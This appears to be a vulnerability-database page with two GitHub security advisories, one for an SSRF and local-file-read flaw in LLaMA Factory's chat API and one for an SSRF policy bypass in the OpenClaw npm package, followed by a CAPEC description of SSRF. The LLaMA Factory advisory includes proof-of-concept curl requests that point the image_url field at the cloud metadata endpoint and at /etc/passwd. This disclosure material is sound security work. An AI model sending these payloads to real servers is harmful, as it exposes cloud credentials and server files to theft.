"details": "## Summary ##\n\nA Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server\u0027s filesystem.\n\n## Details ##\nThe vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.\n\nThe function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.\n\nVulnerable Code Snippets in _process_request:\n```\n# ...\n elif input_item.type == \"image_url\":\n # ...\n else: # web uri\n image_stream = requests.get(image_url, stream=True).raw\n# ...\n elif input_item.type == \"video_url\":\n # ...\n else: # web uri\n video_stream = requests.get(video_url, stream=True).raw\n# ...\n elif input_item.type == \"audio_url\":\n # ...\n else: # web uri\n audio_stream = requests.get(audio_url, stream=True).raw\n# ...\n```\nThis vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.\n\n## PoC ##\nTo reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service.\n\nStart the LLaMA Factory API server.\n\nUse curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.\n\nSSRF Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d \u0027{\n \"model\": \"your-model-name\",\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\n \"type\": \"text\",\n \"text\": \"What is in this image?\"\n },\n {\n \"type\": \"image_url\",\n \"image_url\": {\n \"url\": \"http://169.254.169.254/latest/meta-data/\"\n }\n }\n ]\n }\n ]\n}\u0027\n```\nLFI Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d \u0027{\n \"model\": \"your-model-name\",\n \"messages\": [\n {\n \"role\": \"user\",\n \"content\": [\n {\n \"type\": \"text\",\n \"text\": \"What is in this image?\"\n },\n {\n \"type\": \"image_url\",\n \"image_url\": {\n \"url\": \"/etc/passwd\"\n }\n }\n ]\n }\n ]\n}\u0027\n```\nThe server will make a request to the specified URL or read the specified local file.\n\n## Impact ##\nVulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).\n\nImpacted Component: The API server, specifically the /v1/chat/completions endpoint.\n\nWho is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.\n\n## Credits\nWenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team",
"id": "GHSA-527m-2xhr-j27g",
"modified": "2026-03-19T20:50:59Z",
"published": "2025-10-07T22:08:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-527m-2xhr-j27g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61784"
},
{
"type": "WEB",
"url": "https://github.com/hiyouga/LLaMAFactory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9"
},
{
"type": "PACKAGE",
"url": "https://github.com/hiyouga/LLaMA-Factory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "LLaMA Factory\u0027s Chat API Contains Critical SSRF and LFI Vulnerabilities"
}
GHSA-527M-976R-JF79
Vulnerability from github – Published: 2026-04-17 22:11 – Updated: 2026-05-08 21:48Summary
Existing-session browser interaction routes bypassed SSRF policy enforcement.
Affected Packages / Versions
- Package:
openclaw - Ecosystem: npm
- Affected versions:
< 2026.4.10 - Patched versions:
>= 2026.4.10
Impact
Existing-session browser interaction routes could continue interacting with or navigating targets without applying the same SSRF navigation guard used by guarded browser routes.
Technical Details
The fix guards existing-session navigation and interaction routes with browser navigation policy checks.
Fix
The issue was fixed in #64370. The first stable tag containing the fix is v2026.4.10, and openclaw@2026.4.14 includes the fix.
Fix Commit(s)
daeb74920d5ad986cb600625180037e23221e93a- PR: #64370
Release Process Note
Users should upgrade to openclaw 2026.4.10 or newer. The latest npm release, 2026.4.14, already includes the fix.
Credits
Thanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.4.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-43573"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-17T22:11:33Z",
"nvd_published_at": "2026-05-05T12:16:21Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nExisting-session browser interaction routes bypassed SSRF policy enforcement.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nExisting-session browser interaction routes could continue interacting with or navigating targets without applying the same SSRF navigation guard used by guarded browser routes.\n\n## Technical Details\n\nThe fix guards existing-session navigation and interaction routes with browser navigation policy checks.\n\n## Fix\n\nThe issue was fixed in #64370. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `daeb74920d5ad986cb600625180037e23221e93a`\n- PR: #64370\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
"id": "GHSA-527m-976r-jf79",
"modified": "2026-05-08T21:48:06Z",
"published": "2026-04-17T22:11:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-527m-976r-jf79"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43573"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/pull/64370"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/daeb74920d5ad986cb600625180037e23221e93a"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openclaw-ssrf-policy-bypass-in-existing-session-browser-interaction-routes"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Existing-session browser interaction routes bypassed SSRF policy enforcement"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.